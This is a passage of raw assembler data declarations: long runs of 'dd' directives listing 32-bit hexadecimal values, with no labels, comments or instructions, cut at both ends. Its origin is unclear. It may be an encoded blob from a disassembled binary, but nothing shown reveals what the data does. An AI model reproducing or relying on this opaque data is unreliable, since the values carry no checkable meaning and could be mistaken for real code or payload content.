2099E81Dh, 0AD4B9D2Eh, 0A5E77618h dd 0B350BDE5h, 0BAEE07FCh, 72D13848h, 0B174DA8Bh, 9717D86Bh dd 0EB808D98h, 0F723D373h, 23D1278Ah, 41A50901h, 3A8C0Eh dd 0ED51BF6Fh, 99D30ADh dd 9F0F374Bh, 0B76AF8Eh, 5B52960h, 6E169D2Fh, 0D760BCADh dd 4EF58D09h, 44469D29h, 0AEB7BB7Bh, 9A0A4400h, 60B25519h dd 296EDB0Ch, 95FC7C28h, 7B2D0ECh, 5AF75F4Fh, 4E09F110h dd 4470F681h, 9120FA15h, 7488D474h, 5D5B003Ah, 4FD093DFh dd 15054294h, 79CD3804h, 0C1A38Ch, 0AC5723E0h, 15C8944Dh dd 0B379F273h, 0F5D2FC09h, 1B513Ah, 707CD6BCh, 2C0E6BFBh dd 325FE136h, 938088BCh, 0F0C024B8h, 2E08A101h, 3A0E8760h dd 0F5202A19h, 5C3395h, 0FF42A668h, 0B64D66D2h, 4A37D727h dd 0D015F357h, 0D0093EAh, 0D217F168h, 974C5F0Eh, 0D88B1698h dd 0D17342B0h, 5A7E1C9Dh, 0C02C9E3Bh, 49258B26h, 39731359h dd 83A221h, 1ED6DEEAh, 422373Dh, 4D363072h, 0D1C2FBFCh dd 99E7A8DAh, 125B56CBh, 0D444E921h, 40653865h, 53CCD209h dd 0B272A631h, 45D8331Dh, 7226B953h, 0A73D0835h, 8A31E00Ah dd 231A9DD8h, 4A51F95Ch, 0B1EFA73Bh, 0BCC92FBh, 295C0493h dd 930919Dh, 65770157h, 603A5F95h, 0C6DFB700h, 7A87B283h dd 0C7D0B527h, 915D920h, 0B5F3805Bh, 7CEBFC79h, 7300D47Bh dd 0BE3693A5h, 4B9D8B9Fh, 2D1CFD51h, 58B778BAh, 78646FF5h dd 0D874AF78h, 68A8CDADh, 5DBC5825h, 6E568509h, 0A0A200DCh dd 473FA352h, 0C54EDD6Eh, 38E0B8C9h, 3D960387h, 0FDCBA7FFh dd 802022E8h, 6A5FF517h, 2CF00CE6h, 4E28B3F1h, 0C027E025h dd 1F993A8h, 3BB21E16h, 0A6981457h, 0FDE4762h, 0AE0AC0BEh dd 79706AE2h, 0DC2AB881h, 1E492EE8h, 0F3447F22h, 0AF5997h dd 48C203C9h, 0B0FFB50h, 40A671CBh, 60B08A95h, 0B51A7D29h dd 18A9AA60h, 375BB7h, 39E678A6h, 0EE00ABDEh, 19ED44EFh dd 62F3DC6h, 0F9A1857h, 7FBED226h, 2308FC40h, 5CC7023Fh dd 0EA599EBCh, 0C225DF09h, 0D79EAB5Fh, 0F4890196h, 2F55738Ah dd 47E67474h, 705ED2A2h, 40F8B7C2h, 0B52E11AAh, 66ABD871h dd 4B828358h, 2D7FCA61h, 0D94D73BCh, 0B2D9FE28h, 340AF00h dd 0F4F61DABh, 6D5900FBh, 0BBFD812Bh, 379D026Ah, 3A42014Fh dd 2AF898C6h, 2C821D1Ch, 77713310h, 58CC782h, 0E007B820h dd 0D4344B4Ch, 0C0349B0Fh, 76680CE2h, 19D2EDDh, 0E8191205h dd 2A9B475h, 800515A8h, 82D2E350h, 0E9D9DEC0h, 83E7B5DFh dd 21DC3408h, 586580B0h, 5FC12513h, 63A01900h, 0DADFCE2Ch dd 9D8495F3h, 0CB99BD23h, 0F15072F9h, 0E6608A57h, 977ED838h dd 3FDD6489h, 0E3AC178Dh, 63994B0Ah, 1240F73Eh, 9BFF2115h dd 0F2B69242h, 8919B109h, 0AA2D8C05h, 0A395C6D8h, 5FCAD8DAh dd 784CE6A8h, 9F630B7Bh, 0B974A9A0h, 558FCA6Eh, 0FF120124h dd 3104506Fh, 0A8CCF8AAh, 880F1375h, 0BB9E31BBh, 150E701Fh dd 0ED4A1E4Eh, 7CBB8485h, 59B914EBh, 0B043DE8Ch, 7D14B3E0h dd 22F170E6h, 9F71E4C9h, 1A33AC10h, 21879900h, 3DDBA52Bh dd 0AF2C2FD2h, 249762F2h, 854B351h, 0F189B512h, 3986894Fh dd 0CC037401h, 934FCBBCh, 0AB7DD8h, 493E19F5h, 64E5D2CCh dd 9EEEB77Eh, 0E4B5C77h, 219510A4h, 1852309h, 0B2B0D5B5h dd 0BFC80E2Bh, 2DBC68B0h, 0D0BF6F7Ah, 379AC4F9h, 2B7FA1FFh dd 456D87DDh, 50F18516h, 0AD278AFDh, 12272C55h, 278521BDh dd 32D44B38h, 5B502901h, 0F8B2DE9h, 9ADD29B3h, 4814D71Bh dd 0BE41598h, 15A51FCAh, 1B92FE14h, 4AF09EAAh, 0A04DB892h dd 0F7E856A0h, 35A36E3Eh, 0F3FD38C2h, 18C59D82h, 7252535Fh dd 5B00AF7Bh, 510FDB1Fh, 0B9EF0B2Eh, 0F55607BDh, 8D3E00F4h dd 85B01516h, 68252C65h, 7D19E296h, 0F989A90Eh, 37DFD46Ah dd 0CE384FDh, 0E2D9099Bh, 0A7E056DDh, 9DEC7DEh, 0A8DF2CE2h dd 0C6074222h, 82D0B402h, 0D7AE5EEFh, 854EBBB4h, 0EEC58388h dd 0C85F4FBEh, 2E02CA44h, 15BC6912h, 7016FBDEh, 5300CBDDh dd 0C7A964E7h, 12892F16h, 0E618B185h, 0DA8A04D8h, 0F3E6E380h dd 5AC18650h, 0BC8AB91Eh, 2179317h, 58F394CEh, 596C0957h dd 80275B7Dh, 53BB8B95h, 0E0F67022h, 0C5CBCE25h, 1681164h dd 0F16FD781h, 2F2374CEh, 407E0925h, 0A5887325h, 96C27B6Dh dd 18615F4Eh, 3957D2D4h, 0AB5111BBh, 6E7BE1FFh, 0D8371F72h dd 0DA0CF404h, 98A16CB8h, 5B55C204h, 0BF4170EDh, 6A3D6314h dd 75CA4ADBh, 85318871h, 79308D2Dh, 463BC4BCh, 25F460FCh dd 94792C41h, 0B3810F09h, 1BB8CCD2h, 25F6E4Ah, 54FB5BAAh dd 2548D637h, 1941168h, 0D10A5397h, 0B54FAFA4h, 84159121h dd 0DB9701Eh, 0A016B74Eh, 74ED552h, 9771CAB7h, 97847B63h dd 2CC8531Bh, 2F1900E4h, 14083773h, 600B20Bh, 75F0340Ah dd 4AFBF88Fh, 5F83F013h, 189EC19Dh, 0FAE18D11h, 4BCC9004h dd 8702092Fh, 0A175D280h, 0AA08BF0Ah, 8164B5DAh, 4CB7F086h dd 0EA7C8D6h, 5D881A5Bh, 0DD51005Ch, 4D85089Eh, 724AE153h dd 70C25AFBh, 3570AA5Bh, 6F3B01EAh, 0E4AF1D1Ah, 7D8B30A3h dd 57BC204Ah, 31FAB3E1h, 504DA858h, 0DE5524EDh, 0EF8135A2h dd 28584EC4h, 709B8026h, 0FE694CC0h, 23EFCEAh, 675BF610h dd 43C073CFh, 599532A9h, 0A64DC930h, 77191247h, 6E56089Ah dd 0E912B46Dh, 0C3E90109h, 0BA600001h, 133619E6h, 4312353h dd 0AC3AC4EBh, 0E1494655h, 242EA5FDh, 0F291B63Ch, 0FD7122h dd 817EF96Ch, 0D60005DAh, 74B5240Bh, 25F35A0Ch, 7AD2E7C6h dd 0D89853B5h, 0F25E1E6h, 2025D087h, 0F84B01F5h, 0FDEA698Dh dd 9F55440Bh, 90199587h, 824B5D80h, 55178659h, 0F5979531h dd 0D4BB8D44h, 88389B18h, 0A541C01Ch, 9B00E009h, 61928106h dd 342958B3h, 0AC65359Dh, 2D12665Fh, 25819583h, 0DA507BBBh dd 0EE012541h, 0FB96A876h, 0F081B8BDh, 882D2A8Ah, 32F128h dd 0DE27D668h, 539F6082h, 47D71EA9h, 19615953h, 2902E876h dd 557D40DCh, 1314D004h, 894A33B8h, 0D86F2BD3h, 0E8E46600h dd 0E76D5D31h, 61FBAE4Eh, 22DC9CEh, 11987F50h, 0D3B0E37Bh dd 0B6BD0D02h, 77CEAF47h, 0E57B80A9h, 49AFD170h, 3382F328h dd 2BF7F1BDh, 0C094CD0Ch, 0BC8B0F35h, 0EE13F4Fh, 0FC3B83DDh dd 0F9B8D257h, 0A837B9B5h, 89D62776h, 6795D850h, 9E4A16ECh dd 51F4C004h, 5E8D9509h, 4D08E60Ah, 0BC9DBCD7h, 0BD171625h dd 1888BA3Eh, 0B8281FC0h, 60C42D63h, 4692D54h, 51D1A584h dd 36603161h, 3479725h, 0BD4C9211h, 9E17ADC0h, 7B004742h dd 36C3EF2h, 29AC9837h, 62FFE67Ch, 3CF40471h, 4373F4h dd 48EBB9FAh, 0C4674AE3h, 16505B95h, 2C37EE84h, 21FC10D1h dd 3D009D2Eh, 4FE2A804h, 584F200Ah, 0A700D649h, 4CAD028h dd 40B9D47h, 39FE03E5h, 92C1AC06h, 2BC88F9h, 26A6DF4Bh dd 0A3117B2h, 9FDD25E0h, 72DCBE1h, 5396DF60h, 0AE82260h dd 8500FF7Ah, 7D6E94Ah, 985AC126h, 3E40BFBCh, 962FFE8Bh dd 82CDC52h, 5B1C07ADh, 0A7515349h, 558B5FF4h, 19946A35h dd 13BB807Bh, 5F6FD2BEh, 75F2040Bh, 50BD5212h, 0F16BD2h dd 8E2ECE2Dh, 4EE47611h, 78A8238h, 755A9A5Ch, 4E254D35h dd 0C0279FACh, 9E732973h, 70F8DF89h, 484FB59Fh, 1129D76Bh dd 0C89647F8h, 11BD0160h, 2644971Fh, 0C00D9A6h, 1AEE9CA0h dd 0E4B532D6h, 0FA1B01D2h, 0FFB914Bh, 25C1638Dh, 54CEC2DFh dd 5700DC34h, 0B9781F02h, 483FDD9h, 9D8B40C7h, 3E39BA0Dh dd 1DA8736Dh, 2BF3B503h, 0A4F511DFh, 0B315EC2h, 2E19BBC1h dd 4280DC75h, 3B7EC51Eh dd 383596BFh, 94997DFh, 6D6BB159h, 0C53440ECh, 0FD2F125Ah dd 5EE61ACEh, 0EB86444Ch, 16B3C4E0h, 0E0965BB1h, 0BB7160F3h dd 8F9C2F3Eh, 0B661FFB5h, 402CEE2h, 0EA781AB0h, 5D5257h dd 3D92C5BCh, 0E0FB8783h, 857FBED6h, 5F68FB07h, 0F8CF10E6h dd 0CB0481BBh, 24BEC559h, 0F8D7DEB8h, 0C70925B2h, 38781CB1h dd 0AC6EFE4Bh, 0F261B500h, 0C10D4BCh, 0C056364Ch, 70449479h dd 0E31F04B3h, 0AEC90613h, 36CD6821h, 0FF98C0h, 0EBE16AA8h dd 93706450h, 0D3EF5302h, 57A9F0D8h, 0ADDC2842h, 0E6BB0FBAh dd 3FE636E2h, 104802E0h, 62B88E2h, 1C2EC0A0h, 0E05E2610h dd 34B80D6h, 1715F38Dh, 93BCFDA9h, 0DA73A53Ah, 795213B1h dd 63A5D5Fh, 60F7ED75h, 8529CF49h, 0B5D9FABDh, 5EC9E25Bh dd 0E007D48Fh, 47351328h, 1632B1E1h, 2389C489h, 0BFE00474h dd 7427F8C6h, 0E038AD62h, 0CB3FF77Ah, 339F504h, 0F90536F2h dd 146DBA05h, 2816A2Ah, 0E909ADFCh, 0E005D07h, 298ED0BBh dd 0C18B0816h, 139E56Fh, 0F5EF2570h, 3DDF37EAh, 7E470032h dd 95903ABBh, 91502F2Fh, 0A77B9282h, 0E5A45AD3h, 6EFA60BFh dd 0BA5B509h, 0F0AC7B95h, 7AFB146Eh, 3019B308h, 0E8EBCBD6h dd 90D35B9Bh, 9119A92h, 0D4843FEAh, 859160FFh, 410E453Dh dd 0AD99CDF5h, 0C0126DD7h, 0EFB658Ah, 82BD664Ah, 20998582h dd 0B923DE18h, 0B014B560h, 3A4B90FDh, 9A3FE09Dh, 0AB6F8051h dd 9BFF549h, 0E273062h, 0BB80E871h, 2FE2B517h, 0B0D15FFFh dd 2B4409FCh, 0B4F3B060h, 31F067A4h, 2E53ECB8h, 8B80DD2Ch dd 0DBA1463Dh, 6A4A01A3h, 0D78340B9h, 1FC99600h, 68BB9031h dd 0B756F0FEh, 8F77460Bh, 13D6B40Ch, 0A2BC4503h, 717CC85Ah dd 0F3C99C01h, 9D0B8C7Fh, 5FFED26Fh, 91E4B5DFh, 54558117h dd 206E56F9h, 48C94A2h, 47AC1117h, 0A1B3A212h, 0ABEBD587h dd 81B837F5h, 0F2E98EB6h, 0C3205AB4h, 81CA84F5h, 0E62356ECh dd 7EDF007Dh, 0E5D8CE2Fh, 5B5B78F2h, 1AB21FA6h, 5F88730h dd 0DAC82303h, 17D2E876h, 5D0E17B3h, 58614553h, 30ECE313h dd 0D01FFCD2h, 20EE4EE7h, 55D9BFBEh, 0EC21B025h, 0CE82BD12h dd 24FC1815h, 0B28E71C0h, 2E9E39CBh, 0B95E1B27h, 8CB75FC9h dd 2DF6D798h, 4B860257h, 0D88A80DDh, 100DE5D5h, 0EA6A262Ch dd 9209A21Dh, 40B77C65h, 0C8CA3C89h, 179D7B00h, 0E9BE788Eh dd 42CDB202h, 0EDB50920h, 993DD50Ah, 0B70FB104h, 234DDCABh dd 1D9C0141h, 0DC8A00B0h, 0E4F970E6h, 0ADBF7102h, 5C289A4Fh dd 0AF0A93D3h, 95619E37h, 0DC6B26A5h, 5BB0DED2h, 5B526016h dd 0E83B7D89h, 88ABE4CCh, 22A08131h, 0E5348D01h, 0AFC8A913h dd 2B70276h, 4D287ABFh, 5AB7877h, 799531C8h, 0ED5FAF22h dd 0D76BBF45h, 0A1EE61AFh, 0E1AD0827h, 0C8668212h, 15C9BD16h dd 14C8D7BCh, 0C36D778Fh, 0D07D7AE2h, 882BAEh, 0D343015Bh dd 66E0DE2Ch, 514AE37Ah, 8CA63B25h, 0DC943106h, 5ED9025Bh dd 0DD6BDA94h, 85FF60C4h, 53F91464h, 0EA570149h, 0CE795535h dd 86977C24h, 41562AD2h, 222F5FA7h, 2D2F3214h, 0B76A36A5h dd 615200F6h, 1424FC71h, 0BB4007B7h, 20A64F72h, 6F7B428Ah dd 70E3DA20h, 0EF058AADh, 0E295129Dh, 6072842Ah, 1E73AC12h dd 75C809DBh, 0DF808235h, 0FE046A84h, 23256BAFh, 0E72C0516h dd 0A2CCFEB7h, 75EF860h, 2FB961FCh, 0B7FD0909h, 0BD98029h dd 0D69345C1h, 0CEB7CEC6h, 61C92FD4h, 0C3A5F7F9h, 2027E23h dd 3359A30Dh, 6D7DC02Bh, 63BCE084h, 0DE00C6E8h, 0FABBFD5Ah dd 0BD6F2A72h, 113890E0h, 7B95BA70h, 48DDDAA0h, 5C5291ECh dd 2916430Ah, 0B00DE925h, 0E155BD8Bh, 4BC48A2Bh, 80816A9Ah dd 6002BCC0h, 0F4F35D6h, 0EBE24237h, 0DFCED567h, 0C825AA71h dd 59290909h, 8D9D70EEh, 5037BB86h, 690582BBh, 2629BD09h dd 56BD38AFh, 6FAA30D6h, 484839h, 0F49B7EB3h, 2E016F55h dd 0A54CBDB5h, 3A9746E6h, 0D6837611h, 80E1FF04h, 0E1B8ABD7h dd 3E0428A1h, 1225B17Ah, 1A09DBC5h, 0F4E35C04h, 5453AA13h dd 525D5ECh, 0B318F9C7h, 0B7896055h, 617851C4h, 4BFD38D0h dd 4489008Ch, 9098600Ah, 1558DF0h, 0E180DCB5h, 576E045Ah dd 6F28AB4Eh, 70D70481h, 0BD36B3DCh, 1707C0Fh, 785C73B7h dd 0C2B58B47h, 1CB55521h, 8F891B91h, 2BD34077h, 5A52904Ah dd 5AD3FDB5h, 7750F2h, 9BB32C96h, 0A4BAD2EBh, 61997495h dd 2F5FF8B7h, 0C41C3434h, 0D45F3150h, 7A39F810h, 44407C9Dh dd 97A2BB60h, 591A04Bh, 51728A95h, 0A0B0C313h, 42688009h dd 58CB023Ch, 0E8015F75h, 265401BDh, 427C28A7h, 0D6A656ADh dd 0EA7730BFh, 0CA8C09BBh, 100429A5h, 9A8AEBE9h, 8E15C84Ah dd 9A715700h, 0CC82443Eh, 0BB5801FDh, 1D6B6AAAh, 86EA6036h dd 0B9601A44h, 29E087F8h, 0C950E29Ah, 9D7A467Fh, 0B014802h dd 9E96100h, 9BBDB702h, 10ED0500h, 25116D8Fh, 835EFE8Ah dd 0A1DB5C1h, 0BD9A4E0Eh, 7739C181h, 0E5127067h, 88D97EFFh dd 92DDA66Bh, 9573A5B2h, 6A9BE86Eh, 2F73C58h, 0E205EEE1h dd 0E4F7891Eh, 2DE1805Fh, 0A71A971Ah, 25509853h, 12897E72h dd 0BEB509B3h, 880FC1C1h, 0C1ACA93Bh, 0A2CD83E3h, 9267603Ah dd 0FF02A8DAh, 69A9BE38h, 0C8E74DF9h, 0F750607Bh, 4612E715h dd 0B5E1A8BCh, 0C281543Bh, 2466602Dh, 0B9004DB9h, 0CB5DAFACh dd 6AB402D3h, 6158DAB5h, 0BF10A270h, 855E5C60h, 0FFF8093Dh dd 0F592CB71h, 7A7F39AFh, 0F72A8F89h, 259E03C3h, 80EFAAAEh dd 0DB5B39B3h, 6A3CAC6Dh, 0C59F7650h, 0A037006Dh, 7341B011h dd 77DF2100h, 82F3D63Dh, 0B547EE71h, 1F90E871h, 8EFB4878h dd 2B08E593h, 1523F56Bh, 4A9AF10Ch, 0BFE8C090h, 222DF79h dd 0DBBC7CEh, 81F8C912h, 6FA213B7h, 0B821F990h, 18330091h dd 5F6FE686h, 6E4DF0E7h, 5C618971h, 0AC2212CCh, 0A582F4BAh dd 51A556FEh, 85872C17h, 65AF01C1h, 8908FE6Ah, 0D4223702h dd 0EE71B832h, 633EC390h, 22418ACBh, 42F89D0Ah, 32CE354Bh dd 9D9FF728h, 380FB37h, 88A82DFFh, 654B168Eh, 0F526BC92h dd 152593A8h, 5EA52165h, 0CC12D47Dh, 0FBB7B80Fh, 4096A5Eh dd 5030B83Fh, 0BB6B8CBEh, 0AE57C909h, 9D04AA22h, 894A2CDEh dd 9050B0Eh, 17E45FEDh, 59507660h, 29B1644Ah, 1BC7C53Fh dd 0E085E12h, 2F2EC585h, 6113F235h, 0AD6624AEh, 5C62E8FDh dd 0DF1F6EA5h, 14CD65E5h, 0B3621464h, 0B88A9055h, 24D316FBh dd 636BAE7Dh, 84701C38h, 719F7A00h, 0DB4C2A52h, 0FC3308BAh dd 57C9DF8Bh, 0F84B1A64h, 6660D732h, 0CCA300F8h, 7AC67C8Ch dd 44002799h, 72B3F565h, 328D2957h, 58340F15h, 6104045Dh dd 0B64A32B8h, 0BBDE071h, 340197C5h, 6A399D03h, 0B6A52EE7h dd 0B7DB1235h, 0E71653AFh, 0D7F9B22Ch, 61F3EC0Bh, 2F98DD0h dd 0EE7B63FDh, 14636BFh, 0B4195B04h, 9FBD21E8h, 178C1AACh dd 0BF830398h, 98F5784Bh, 1C6BCB12h, 0C13A205Ch, 79223CA1h dd 0C098785Bh, 1EBBF381h, 81274F18h, 6BB937EAh, 0E4F08Ch dd 58AF858h, 8C175B06h, 5F4ED977h, 2FBD6FE9h, 0A692E2BCh dd 0E5BD129Ah, 0DA2A02B1h, 0C716C815h, 816BF5DAh, 2E44C828h dd 8B285328h, 18717610h, 0B3569602h, 0A2615F9Eh, 7C2BCA81h dd 41794B5Eh, 0A3829B68h, 5509B75Fh, 1791D3B5h, 0E8BB2681h dd 173D2EEEh, 1310F37Fh, 28AE8D85h, 0FC02BFBAh, 513C264Ch dd 53E0565Fh, 420956F4h dd 0BB14D765h, 7BF2F2EDh, 0E0F7C65Fh, 583C97A0h, 0E4D0E025h dd 843D2F66h, 0C3FE5294h, 7A608B04h, 0CAAC9073h, 6E2B5h dd 0D90D2B9h, 7DE5FE17h, 0F42F1C98h, 324065FFh, 8B2ECFB2h dd 1DDE03C1h, 41708B33h, 0E21DFFB3h, 0A2213A46h, 0CEC8B09Dh dd 4FD200DEh, 5587CD06h, 19254710h, 68D16D78h, 5E96E098h dd 0B45F4394h, 0BF50A430h, 4B4113E7h, 0A0BA8554h, 0ABA6FE66h dd 0F87FBF00h, 95CB1F4Bh, 318F1D24h, 301D43DAh, 6DC8036Bh dd 0D3B56A61h, 0FC5E78A0h, 9C2DEB09h, 155100A5h, 5B3A0EB5h dd 616F6Ah, 4F6FD6C1h, 0A0053E3Dh, 98FB719Eh, 0D551BFFBh dd 58FE8A89h, 0C38013E9h, 200EEF8Ch, 0F5A69250h, 1E85BBE0h dd 0EE91211h, 80D4AD1Fh, 6677E274h, 4F040DD8h, 0C77996EBh dd 2917AAEh, 1BFD2161h, 1637741Fh, 9A7AFA6Ah, 371CD802h dd 9AF7B70Bh, 0B587F0E5h, 0D42C8065h, 0D70AD109h, 35976A16h dd 48A30240h, 0C45DE60Bh, 0FEAC391Ch, 16D5AA04h, 0ECF3BA6Dh dd 25A09D3Dh, 2BB5F38h, 0FF36D666h, 8BB7D7D1h, 0AFC76802h dd 514E5C4Eh, 6F5FC2D8h, 0BBAE402Ch, 7205BC90h, 30A108DAh dd 0AC10481h, 0F273F32Ah, 95A0301Bh, 8892B04h, 30AF5686h dd 0C9817F2Bh, 745DEE00h, 996D4714h, 58970030h, 0D86E28F5h dd 368AC05h, 82A5E486h, 0D18F0F53h, 0EFA2A5BCh, 5004F6E4h dd 0C10864ABh, 7990C8E6h, 9748B805h, 0AE026884h, 0B41A472Dh dd 0A36CDEC0h, 0FD028631h, 0E9B989DAh, 70A65CC4h, 0C982FB7Bh dd 742EDEBBh, 0A0C2B65Ah, 55DF4Fh, 0FECB52D8h, 29419B31h dd 2083F19Fh, 31089CB1h, 51869F6h, 2E270CACh, 0BF50B55Ch dd 885216BAh, 0B8A6B920h, 6A0C8C18h, 7F47214Bh, 0E2204AF1h dd 3FE69D5Dh, 1222FCDEh, 1CBA7F71h, 81100016h, 845CCCC7h dd 0B270E5Ch, 0D3E402D5h, 0EC397981h, 0A2482287h, 268510FAh dd 0C2F8E84Eh, 5C95CF80h, 5253C455h, 1690511Fh, 0E5BAA15Ah dd 0D7D90709h, 0B06184C8h, 92E78E1h, 5C1D13DEh, 0D6FB1F52h dd 1F4FC871h, 40036700h, 91D65B17h, 3C4E12D8h, 1877E421h dd 0B1FD048Ah, 0AA221253h, 5C6909D2h, 8157E07Fh, 0A70B52C3h dd 855B1847h, 0F41E827h, 0C80E45EAh, 0B5A4A03Ah, 0F82E2A45h dd 1AAB93DAh, 0A30038B6h, 0ADFCD7C3h, 79857E4Bh, 0B84AAFA8h dd 0D99D1569h, 0E1B31FF9h, 0DE8AD105h, 2827E5E2h, 431374F3h dd 95C372BBh, 0E95BA0A1h, 0A05978A0h, 7FDCE2A3h, 2305013Bh dd 861CF9EAh, 5EDE69F2h, 5E08E682h, 2B4D62C2h, 0A9D52907h dd 0B01852FBh, 8D6F5AAh, 1EEE30AEh, 27005FAFh, 0F41CA7BAh dd 25C4FFA4h, 8FCBB42Fh, 8D014194h, 49122299h, 0CA07542Ah dd 0FFF68BF4h, 0F37E9503h, 70959D62h, 3569540h, 0EA28BBE0h dd 500C7EBDh, 48FE20A5h, 6C4036F9h, 4DBD3933h, 0A331E4A5h dd 87DF02Bh, 13851497h, 0EFE87A5Bh, 0BB0ED16Fh, 8BAE63F9h dd 0E873FD96h, 0D3BA17FBh, 0AE2312F5h, 1923A16Bh, 0A49A1700h dd 2A96F615h, 8DCBDCB9h, 56856070h, 9714C4h, 4FCF819Fh dd 49F93BDAh, 5FF55182h, 0B755C02Bh, 0CD80012Bh, 68065C51h dd 1385100Eh, 0A4758B27h, 0A3B861ACh, 9112F490h, 0D381E612h dd 7B25C8h, 1F84685Ah, 9EF21B4Ah, 0C49AB70Eh, 88C2058h dd 4BDAC3D3h, 1624BCDFh, 78A7880Dh, 0CEE0B9B2h, 760B2CABh dd 0DD4CED89h, 35777B0Bh, 9ECCA528h, 37951412h, 0E9CB83EDh dd 99088671h, 0DF723201h, 0E46BCB5Ch, 42B00085h, 8CDCED19h dd 0B2009BECh, 64DDC776h, 4BC5D42Fh, 0D2D88A3Ah, 0C00B4F2h dd 8D88BDD7h, 650B7B30h, 5FD66382h, 0BB02CE14h, 1E5631B9h dd 9927E5Bh, 0D2717ECEh, 5756FA4Fh, 0F570BCD3h, 2B060955h dd 3ECAEDE0h, 0FB452A74h, 977496E9h, 2EFCD811h, 59EDD975h dd 714AB5A8h, 176A2CAEh, 950D508Ah, 15EDBE94h, 0D816A04h dd 0D9E2A0B8h, 6C616B2Ah, 4FCC2A72h, 8E8600F0h, 0C802F639h dd 7C077F23h, 0D906A34Bh, 20AB6054h, 1A043F41h, 0DB5A2407h dd 86815CB8h, 95303A63h, 0ABB358FBh, 0ADC2C54Ah, 0B4B8E8h dd 4A0F0E02h, 0E93D43EBh, 73A210EFh, 0C9E10058h, 0A440FA8Eh dd 0C5122FFBh, 0E8E171E3h, 5A49D820h, 22E3B318h, 0A1D89D39h dd 617BA495h, 0C883DAABh, 0CC87C01Ch, 1E3E5F50h, 886392C4h dd 14ACC2B9h, 0F14B518Ch, 98DBE60h, 504AF309h, 40744FFDh dd 0AB070137h, 4D13615Bh, 5407AAEh, 858913DBh, 0BDB788EEh dd 522D120h, 587D068h, 1FCB8106h, 0B5C03F0Fh, 0F71A842Fh dd 9175E161h, 0B254A62Ah, 0A643018h, 0D72CBA12h, 0B26DD4E1h dd 0E84231ECh, 0D791AF02h, 0C359F2A8h, 1CE26300h, 7A31B61h dd 0F03309D6h, 6C8EB27Ah, 0E246F781h, 0B0A37021h, 0EABB0140h dd 307B2510h, 6F55BFC2h, 2B1F6147h, 200BC14Bh, 3A9726E6h dd 4034FCDEh, 15393F35h, 8BB6A91Dh, 0E0895300h, 25A7D01Bh dd 0BDC48372h, 0DE1BBCh, 7852BF6Ah, 72FADF2h, 71093978h dd 552EC1F1h, 384B14CDh, 2E41C45Ah, 2CE0553Fh, 0C7A2DDDh dd 0D4D55C95h, 1AC11BBCh, 723C28EEh, 0BB071820h, 10DA7337h dd 0A6EA46B4h, 2D7E06Ah, 5349019Fh, 62C745FDh, 1C076F89h dd 34651D7Bh, 25C26FAAh, 696A7E08h, 56CD9AD5h, 2F7E6AC7h dd 6804CE72h, 4C7A03B9h, 8346BC93h, 0DBAABD65h, 612ACEBFh dd 0F9900823h, 0F2A3342Eh, 0C97E6FA6h, 97E91C05h, 0EF015CB5h dd 0E27FE905h, 352E8C6Ah, 0D5004C71h, 53B9D2D8h, 4D04E6ADh dd 0DEBC8561h, 0E4450817h, 159D4702h, 7AA45C2Eh, 0B12E1D4h dd 368E19E3h, 8C1BF810h, 0E63548h, 2DF8C154h, 0C4AAB33Bh dd 1317F990h, 0A17561ABh, 5AFD0E16h, 2B8DC0A4h, 365DAE1h dd 535FBBCBh, 0FFD4603Bh, 0DBEAA725h, 4870C072h, 4BB363CEh dd 2210CAB2h, 3490B56Fh, 7905599Fh, 91FAF9B0h, 0A156FD2Ch dd 0E100519h, 4600412Dh, 0FAEB81E6h, 0B5539ECFh, 0BF50E645h dd 337F05A6h, 0AB31819Dh, 0B02C479Dh, 0E153182Dh, 64181C79h dd 0D0883A00h, 0A3D108EAh, 0E9B32584h, 0BC2EEEh, 483E01D4h dd 6E6199DCh, 0B56720D7h, 25601244h, 347E81B6h, 4097D12Fh dd 385FDA43h, 7188F09Dh, 4CA79A61h, 27254509h, 0D897704Eh dd 0B83930A0h, 5777E08h, 0E88D304Bh, 97195720h, 0B956BF89h dd 161446D6h, 62BFF97Bh, 0F87D9D93h, 0CF99958Ah, 0D2F6A550h dd 0B556D2EAh, 3EE63BB0h, 1BC4FBF0h, 9D74A416h, 4DE36BEBh dd 0BAE3CC34h, 0BD064AE9h, 177DFC25h, 0EB79BF97h, 36E34C53h dd 60D8C24Ah, 79B98EC0h, 0F95B2A27h, 0E95C2D38h, 0A9346EE3h dd 392C76BCh, 800A68Fh, 5A1F5463h, 56018400h, 7F269DD8h dd 61E9F319h, 0DA02742Fh, 88AAD642h, 0F7288085h, 814ADFB1h dd 99A72FBCh, 77190D8Bh, 484AFEB7h, 0A70B3D57h, 5F4332DDh dd 0DA5062C5h, 0FBC8034Ah, 10180D43h, 3CEF80D8h, 7A20964Ah dd 2E362576h, 15D9928h, 505B2CA0h, 76376C51h, 0BD239605h dd 6FAB02D1h, 1C2329h, 8A8435BEh, 0C91216E9h, 71F3DF25h dd 0E6B32904h, 0D3E7B9F2h, 0F48007DAh, 1AEA0A34h, 0C5FD8A25h dd 0AD5A17E7h, 0BE0C0C7h, 5AF59ABEh, 542BA72h, 0F5708C20h dd 0A813D746h, 79EFFC58h, 9A74A8ACh, 0ED955B90h, 0A4F2C2EBh dd 2D6D44E0h, 958AB796h, 5751C305h, 0D22A6E31h, 0CED55FAEh dd 843597D7h, 0A035F203h, 42587250h, 0FDBD5E23h, 0AD01CBFCh dd 0D37DB32Eh, 8470AC66h, 0DF0169FDh, 5C255CD4h, 0A5B55A4Eh dd 6D289A80h, 1E9EA5C4h dd 0E756AAC0h, 5FC391F5h, 9266F7C6h, 70771497h, 0E66BE151h dd 0B34AF055h, 0DAE701D9h, 0F581F3EBh, 96342FB7h, 0C6C9E4F8h dd 25F4717Eh, 7CE5D3FFh, 358D0983h, 0E914160Bh, 5844B8F2h dd 1B75111Bh, 0DE4CC124h, 0E94D7D12h, 6051920h, 0AF60706Bh dd 2BE98901h, 0D8B0F520h, 0C0022B6h, 697F1333h, 0DF738Dh dd 42D6EAC9h, 0A135512Ch, 2922C800h, 889E324Eh, 0FC9000AEh dd 5EF208E6h, 53176B48h, 0FA0CBFh, 13ABA97Dh, 0E25B71B6h dd 144B30AEh, 0D30E50B2h, 0E142A02Ch, 21D641AAh, 44AD0F80h dd 1DFA1032h, 0EA910E18h, 3BFF6819h, 0C3806EA6h, 0CCA573ABh dd 100074ACh, 0BCDAB452h, 7D7E984h, 0B14F0A3Ah, 90AA90D4h dd 7009BB3h, 0EBCA13F1h, 3049FD7h, 230117ABh, 2DF1D50Dh dd 4920F00Fh, 44221D00h, 0A7849A2Eh, 0AA57188Fh, 10CD81D0h dd 0D7285403h, 82E05C11h, 29A4A56Fh, 817C7006h, 8E3E62Fh dd 